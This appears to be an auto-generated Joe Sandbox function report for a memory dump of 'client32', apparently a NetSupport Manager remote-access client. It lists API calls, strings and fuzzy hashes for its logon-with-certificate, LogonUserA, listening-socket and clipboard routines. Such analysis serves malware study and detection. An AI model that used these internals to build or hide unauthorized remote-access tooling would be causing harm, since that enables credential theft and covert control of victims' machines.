CertGetCertificateContextProperty (1) failed (%d), xrefs: 110A5BB3
CredFree, xrefs: 110A593C
CredMarshalCredentialA, xrefs: 110A5924
Advapi32.dll, xrefs: 110A5919
LogonUserWithCert FAILED (%d) , xrefs: 110A5D79
LogonUserWithCert - Advapi32.dll does NOT provide required functionality!, xrefs: 110A5CE9
LogonUserWithCert - Crypt32.dll NOT found!!!, xrefs: 110A58B0
CertAddCertificateContextToStore FAILED (%d), xrefs: 110A5B7B
AttemptLogon FAILED [status: 0x%08x], xrefs: 110A5CBC
\\.\%s\, xrefs: 110A59B6
LogonUserWithCert - Crypt32.dll does NOT provide required functionality!, xrefs: 110A5CFD
LogonUserWithCert - CredMarshalCredential FAILED (%d), xrefs: 110A5CDF
CryptGetProvParam FAILED (%d), xrefs: 110A5AE3, 110A5B3A

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorLastLibrary$ContextCryptFreeHandleLoadModuleRelease
String ID: Advapi32.dll$AttemptLogon FAILED [status: 0x%08x]$CertAddCertificateContextToStore FAILED (%d)$CertGetCertificateContextProperty (1) failed (%d)$CertGetCertificateContextProperty (2) FAILED (%d)$CertGetCertificateContextProperty (3) FAILED (%d)$CredFree$CredMarshalCredentialA$CryptGetProvParam FAILED (%d)$LogonUserWithCert - Advapi32.dll does NOT provide required functionality!$LogonUserWithCert - CredMarshalCredential FAILED (%d)$LogonUserWithCert - Crypt32.dll NOT found!!!$LogonUserWithCert - Crypt32.dll does NOT provide required functionality!$LogonUserWithCert FAILED (%d) $\\.\%s\
API String ID: 455412317-1640292549
Opcode ID: 11c0ce5a15eb0ad978e2ce617f810eb73a51ac8ea6531c097df6ff3739c903a0
Instruction ID: 14d655196b2d9980db4aac9cab0ede2ffb9987fd2d114c6750bd9b18e7e5f0cf
Opcode Fuzzy Hash: 11c0ce5a15eb0ad978e2ce617f810eb73a51ac8ea6531c097df6ff3739c903a0
Instruction Fuzzy Hash: EAE162B5D0022A9FDB20DF909CC4AEEB7B8BF44358F4441E9E919A3214E7315E84CF61

Function 11061140 Relevance: 28.3, APIs: 8, Strings: 8, Instructions: 281COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1106117B

Strings

$PROMPT$, xrefs: 11061180
..\ctl32\Connect.cpp, xrefs: 11061450
op - obuf <= _tsizeof (obuf), xrefs: 11061455
$, xrefs: 110612B8
$CLIENTNAME$, xrefs: 11061274
.prn, xrefs: 1106134E
%03d%s, xrefs: 11061420
#, xrefs: 110612BE

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: #$$$$CLIENTNAME$$$PROMPT$$%03d%s$..\ctl32\Connect.cpp$.prn$op - obuf <= _tsizeof (obuf)
API String ID: 2102423945-3087083064
Opcode ID: 39b9b20f07d8f67a96a4a039c5d39d8e0a07284d7f924ca62ab7285e05a18b76
Instruction ID: 9732641257c0b20e71b33c15b159d9766e9e212ca738346d0ff0b7fb1b6b53a2
Opcode Fuzzy Hash: 39b9b20f07d8f67a96a4a039c5d39d8e0a07284d7f924ca62ab7285e05a18b76
Instruction Fuzzy Hash: 5AA10775E002565FDB12CF64CC80BEEBBFDAF86308F1481D9D99AD7241DA31AA45CB90

Function 110CD1D0 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 200networkCOMMON

Download Yara Rule

APIs

Part of subcall function 110D37D0: EnterCriticalSection.KERNEL32(111D8C5C,11017228,82E0FB89,?,?,?,111B83A0,11175D28,000000FF,?,11019222), ref: 110D37D1

__CxxThrowException@8.LIBCMT ref: 110CD253

Part of subcall function 11151071: RaiseException.KERNEL32(?,?,11103644,?,?,?,?,?,11103644,?,111B83A0), ref: 111510B3

Part of subcall function 110CCED0: __CxxThrowException@8.LIBCMT ref: 110CCF42
Part of subcall function 110CCED0: getpeername.WSOCK32(?,?,00000000,82E0FB89), ref: 110CCF60

Part of subcall function 11010AF0: _memmove.LIBCMT ref: 11010B2D

gethostbyname.WSOCK32(0.0.0.0,82E0FB89,?,?,00000000), ref: 110CD265
WSAGetLastError.WSOCK32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,11174EAB), ref: 110CD271
_memmove.LIBCMT ref: 110CD29B
htons.WSOCK32(00000000), ref: 110CD2C1
socket.WSOCK32(00000002,00000001,00000000), ref: 110CD2D5
WSAGetLastError.WSOCK32 ref: 110CD2E3
#21.WSOCK32(00000000,0000FFFF,00000004,?,00000004), ref: 110CD301
bind.WSOCK32(?,?,00000010), ref: 110CD311
WSAGetLastError.WSOCK32 ref: 110CD31C
listen.WSOCK32(?,7FFFFFFF,82E0FB89,?,?,00000000), ref: 110CD338
WSAGetLastError.WSOCK32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,11174EAB), ref: 110CD343
accept.WSOCK32(?,00000000,00000000,000000FF), ref: 110CD3A6
WSAGetLastError.WSOCK32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,11174EAB), ref: 110CD3B4

Part of subcall function 110D55B0: OutputDebugStringA.KERNEL32(111D8BD0,000000FF,NsAppSystem::CNsAsException::CNsAsException,0000002B,111D8BD0,00000000,000000FF,82E0FB89,?,00000000,00000000,?,?,?,00000000,111761AB), ref: 110D5663
Part of subcall function 110D55B0: OutputDebugStringA.KERNEL32(1118BEE8,?,?,?,00000000,111761AB,000000FF,?,110D2C63,?,Invalid Server paramters), ref: 110D566A

Strings

Listen() the socket is not closed, xrefs: 110CD226
0.0.0.0, xrefs: 110CD260

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$DebugException@8OutputStringThrow_memmove$CriticalEnterExceptionRaiseSectionacceptbindgethostbynamegetpeernamehtonslistensocket
String ID: 0.0.0.0$Listen() the socket is not closed
API String ID: 1096978048-1307932746
Opcode ID: a730248214e9a563b59b10436eac38ba2d44abaab5b0afecdef3ac821dfa7065
Instruction ID: 956b2696774708f28c41c5c40744a434557477a21071a8e5edb7c5ae032104a2
Opcode Fuzzy Hash: a730248214e9a563b59b10436eac38ba2d44abaab5b0afecdef3ac821dfa7065
Instruction Fuzzy Hash: 0461A5B5E00606AFDB14DFE4C980B9EF7B5AF48B24F108659E526E72C0DB74A5018FA1

Function 11039030 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 189COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 11039116
_free.LIBCMT ref: 11039210

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

Part of subcall function 110C3E90: FindResourceExA.KERNEL32(00000000,00000005,?,00000000), ref: 110C3F15
Part of subcall function 110C3E90: LoadResource.KERNEL32(00000000,00000000), ref: 110C3F44
Part of subcall function 110C3E90: LockResource.KERNEL32(00000000), ref: 110C3F68
Part of subcall function 110C3E90: CreateDialogIndirectParamA.USER32(00000000,00000000,1111EF19,110C2640,00000000), ref: 110C3F99
Part of subcall function 110C3E90: CreateDialogIndirectParamA.USER32(00000000,00000000,1111EF19,110C2640,00000000), ref: 110C3FB4
Part of subcall function 110C3E90: GetLastError.KERNEL32 ref: 110C3FD9

_calloc.LIBCMT ref: 11039225
_free.LIBCMT ref: 11039260

Strings

Not logged in!, xrefs: 11039175
GetName, xrefs: 110390A6
Login name %s, xrefs: 110391D9
Get login name. Check if logged in, xrefs: 1103913E
CLTCONN.CPP, xrefs: 11039129, 11039238
u, xrefs: 11039076
DoUserLogin, xrefs: 1103905E
, xrefs: 110391AA

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Resource$CreateDialogIndirectParam_calloc_free$ErrorFindLastLoadLock_malloc_memsetwsprintf
String ID: $CLTCONN.CPP$DoUserLogin$Get login name. Check if logged in$GetName$Login name %s$Not logged in!$u
API String ID: 2195741704-1552251038
Opcode ID: 5ae14f198104c464671bab3f216baa493da83b8bef8af5054f289781c9ff8bbe
Instruction ID: 53a8b38fcb329f41cef8c2a65a5fb3865c4ab55a76465e48db301f8623a07c24
Opcode Fuzzy Hash: 5ae14f198104c464671bab3f216baa493da83b8bef8af5054f289781c9ff8bbe
Instruction Fuzzy Hash: 1E61F475E54611AFD740EFA0DCC5FDAF3A4AF8471DF104268E9296B2C0EBB16940CB92

Function 110ED2B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 173librarywindowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,1105649A), ref: 110ED2F4

Part of subcall function 1107C480: _strrchr.LIBCMT ref: 1107C48E

LoadLibraryExA.KERNEL32(?,00000000,00000002,?,1105649A), ref: 110ED336
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 110ED351
LoadLibraryExA.KERNEL32(?,00000000,00000002,?,1105649A), ref: 110ED38D
GetLastError.KERNEL32(?,1105649A), ref: 110ED398
FormatMessageA.KERNEL32(00000900,?,?,00000000,?,00000000,?,00000000,?,1105649A), ref: 110ED3DD
LocalFree.KERNEL32(?,?,1105649A), ref: 110ED45C
_memmove.LIBCMT ref: 110ED48D

Strings

\PCImsg.dll, xrefs: 110ED308, 110ED368
Cannot find message %d, xrefs: 110ED3E8
Cannot open file %s, error %d, xrefs: 110ED3A6
%s (%d), xrefs: 110ED439
??? , xrefs: 110ED462

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad$DirectoryErrorFileFormatFreeLastLocalMessageModuleNameSystem_memmove_strrchr
String ID: %s (%d)$??? $Cannot find message %d$Cannot open file %s, error %d$\PCImsg.dll
API String ID: 3675426511-2756047042
Opcode ID: 24b43653ea149b7fc03000e038b4f402e07b261599e85d7f4999701ef2a47801
Instruction ID: ced640a395ebe727b00206b968de0e8db358c6ace47da34f22fb5d2595477f7d
Opcode Fuzzy Hash: 24b43653ea149b7fc03000e038b4f402e07b261599e85d7f4999701ef2a47801
Instruction Fuzzy Hash: EB5119B5E0021AAFD704CF79DC89FDEF7B8EB59308F0480A9E955D7240EA71A9448B91

Function 1114D430 Relevance: 17.9, APIs: 8, Strings: 2, Instructions: 440COMMON

Download Yara Rule

APIs

SetWindowLongA.USER32(?,000000FC,?), ref: 1114D476
RemovePropA.USER32(?), ref: 1114D495
RemovePropA.USER32(?), ref: 1114D4A4
RemovePropA.USER32(?,00000000), ref: 1114D4B3

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

CallWindowProcA.USER32(?,?,?,?,?), ref: 1114D80A

Strings

old_wndproc, xrefs: 1114D44D
..\ctl32\wndclass.cpp, xrefs: 1114D448

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: PropRemove$Window$CallErrorExitLastLongMessageProcProcesswsprintf
String ID: ..\ctl32\wndclass.cpp$old_wndproc
API String ID: 1777853711-3305400014
Opcode ID: 1b3096391e9100c0dff8ec288cab940e3f3d68445cee506a92fe49f2f52b3cec
Instruction ID: a9ca4b3d29b6757e08e08d1351ada2b625a191a468bc1592360ff9c51f34a9c8
Opcode Fuzzy Hash: 1b3096391e9100c0dff8ec288cab940e3f3d68445cee506a92fe49f2f52b3cec
Instruction Fuzzy Hash: CAC15DB63040199FDB08CE69E894E7FB3E9EBC8711B50466EF946C7781DA31AC1187B1

Function 11023040 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 231windowthreadCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110230A0
_strncpy.LIBCMT ref: 110230AC
_memset.LIBCMT ref: 11023203
_strncpy.LIBCMT ref: 1102320C
IsWindow.USER32(00000000), ref: 11023222
IsIconic.USER32(00000000), ref: 11023240
BringWindowToTop.USER32(00000000), ref: 1102325D
GetCurrentThreadId.KERNEL32 ref: 11023297

Strings

RDH::Dialog already created so restore, xrefs: 1102322C

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window_memset_strncpy$BringCurrentIconicThread
String ID: RDH::Dialog already created so restore
API String ID: 2558468902-3779292929
Opcode ID: 1b6332f507f83461602a68dd11a8f54dcfe15ffaf1a6ecce51fca5189bdcfe15
Instruction ID: 9fb44cbcd3b538895b0def4521801f9bfde370520260cf145bbd00386ee71607
Opcode Fuzzy Hash: 1b6332f507f83461602a68dd11a8f54dcfe15ffaf1a6ecce51fca5189bdcfe15
Instruction Fuzzy Hash: 5591A175E046099FDB00CFA9C884BEEBBF5BF89308F548569E8159B381DB74A944CF90

Function 11031430 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 312COMMON

Download Yara Rule

Strings

DisableClipBoard, xrefs: 110314B9, 110315C6, 11031755
openclip Error: Cant open clip, xrefs: 11031702
Sendclip Error: Cant open clip, xrefs: 1103158D
Client, xrefs: 110314BE, 110315CB, 1103175A
CheckClip Error: Can't open clip, e=%d, xrefs: 11031510

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID:
String ID: CheckClip Error: Can't open clip, e=%d$Client$DisableClipBoard$Sendclip Error: Cant open clip$openclip Error: Cant open clip
API String ID: 0-293745777
Opcode ID: 127b5213422b15e425346da24cd16221a59b034f56f518ca3ab0e2a8f7d037f5
Instruction ID: 6deb9f8abc6a4cad7d773f1ab5b5bd319d2f4c8d3dcf5da947e35b6bef66306d
Opcode Fuzzy Hash: 127b5213422b15e425346da24cd16221a59b034f56f518ca3ab0e2a8f7d037f5
Instruction Fuzzy Hash: 04A1D275F102059FD710DBA4DC80FAAB3B5AFDD319F144199EA4A9B280EB71F940CB91

Function 110E9400 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 110E940F
LogonUserA.ADVAPI32(?,00000000,?,?,?,FFFFFFFF), ref: 110E94BE
GetTickCount.KERNEL32 ref: 110E94C6
GetLastError.KERNEL32 ref: 110E94FE

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

LogonUser(%s, %s) took %d ms, ret %d, xrefs: 110E94E6
IsA(), xrefs: 110E944B, 110E9477
null, xrefs: 110E94DB, 110E94E4
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 110E9446, 110E9472

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountErrorLastTick$ExitLogonMessageProcessUserwsprintf
String ID: IsA()$LogonUser(%s, %s) took %d ms, ret %d$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h$null
API String ID: 307273675-931856353
Opcode ID: 542ecd84b7764c589124868231b19b0268137c9ef5a69bea329ee57c5c71da03
Instruction ID: f479a602a004497ae36e32c9422561ea4b7ba1cfc2dda626e9e37eed398c0a62
Opcode Fuzzy Hash: 542ecd84b7764c589124868231b19b0268137c9ef5a69bea329ee57c5c71da03
Instruction Fuzzy Hash: 4431A2B9A00A06AFC720DF56DC88E9AF7F9FF88314B108258E81593751EB30F905CB60

Function 11031080 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 87clipboardCOMMON

Download Yara Rule

APIs

IsClipboardFormatAvailable.USER32(?), ref: 110310C1
GetClipboardData.USER32(?), ref: 110310DD
GetClipboardFormatNameA.USER32(?,?,00000050), ref: 1103115C
GetLastError.KERNEL32 ref: 11031166
GlobalUnlock.KERNEL32(00000000), ref: 11031186

Strings

..\ctl32\clipbrd.cpp, xrefs: 110310AE
pData && pSize, xrefs: 110310B3

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Clipboard$Format$AvailableDataErrorGlobalLastNameUnlock
String ID: ..\ctl32\clipbrd.cpp$pData && pSize
API String ID: 1861668072-1296821031
Opcode ID: 72918964a1369d3bb2368425b4338c3315936ac85280862e7e4cd8f3fdf3f6c4
Instruction ID: 3a2d50e1deb99135114f4ad4be661bc5fe19da930bc3f706a95416d91adfb30e
Opcode Fuzzy Hash: 72918964a1369d3bb2368425b4338c3315936ac85280862e7e4cd8f3fdf3f6c4
Instruction Fuzzy Hash: 0D21A136F1015A9FD701DFE598819FEF7FDEF8D319B1040AAE815D7204EA3199008B90

Function 110B7590 Relevance: 6.1, APIs: 4, Instructions: 93windowthreadCOMMON

Download Yara Rule

APIs

